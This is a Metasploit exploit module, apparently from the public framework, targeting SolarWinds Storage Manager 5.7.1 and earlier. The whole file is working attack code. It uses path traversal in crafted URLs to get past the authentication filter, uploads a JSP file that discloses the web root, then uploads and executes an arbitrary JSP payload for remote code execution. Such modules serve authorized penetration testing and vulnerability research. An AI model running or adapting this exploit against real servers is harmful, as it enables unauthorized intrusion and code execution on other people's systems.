##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'SolarWinds Storage Manager Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability in Solarwinds Storage Manager.
The vulnerability exists in the AuthenticationFilter, which allows to bypass authentication
with specially crafted URLs. After bypassing authentication, is possible to use a file
upload function to achieve remote code execution. This module has been tested successfully
in Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32 bits, Windows 64 bits and
Linux 64 bits operating systems.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['ZDI', '14-299']
],
'Privileged' => true,
'Platform' => %w{ linux win },
'Arch' => ARCH_JAVA,
'Targets' =>
[
['Solarwinds Store Manager <= 5.7.1', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 19 2014'))
register_options(
[
Opt::RPORT(9000)
], self.class)
end
def check
res = send_request_cgi({
'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=----#{rand_text_alpha(10 + rand(10))}"
})
if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
jsp_info = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
print_status("#{peer} - Uploading Information Gathering JSP #{jsp_info}...")
if upload(jsp_info, jsp_path)
print_good("#{peer} - JSP payload uploaded successfully")
else
fail_with(Failure::Unknown, "#{peer} - Information Gathering JSP upload failed")
end
res = execute(jsp_info)
if res && res.code == 200 && res.body.to_s =~ /Path:(.*)/
upload_path = $1
print_good("#{peer} - Working directory found in #{upload_path}")
register_file_for_cleanup(::File.join(upload_path, jsp_info))
else
print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required")
print_warning("#{peer} - #{jsp_info} needs to be deleted manually")
end
jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
print_status("#{peer} - Uploading JSP payload #{jsp_payload}...")
if upload(jsp_payload, payload.encoded)
print_good("#{peer} - JSP payload uploaded successfully")
else
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
end
if upload_path
register_file_for_cleanup(::File.join(upload_path, jsp_payload))
else
print_warning("#{peer} - #{jsp_payload} needs to be deleted manually")
end
print_status("#{peer} - Executing payload...")
execute(jsp_payload, 1)
end
def execute(jsp_name, time_out = 20)
res = send_request_cgi({
'uri' => normalize_uri("/", "images", "..", jsp_name),
'method' => 'GET'
}, time_out)
res
end
def upload(file_name, contents)
post_data = Rex::MIME::Message.new
post_data.add_part(contents,
"application/octet-stream",
nil,
"form-data; name=\"#{rand_text_alpha(4 + rand(4))}\"; filename=\"#{file_name}\"")
res = send_request_cgi({
'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})
if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/
return true
end
false
end
def jsp_path
jsp =<<-EOS
<%@ page language="Java" import="java.util.*"%>
<%
out.println("Path:" + System.getProperty("server.webapp.root"));
%>
EOS
jsp
end
end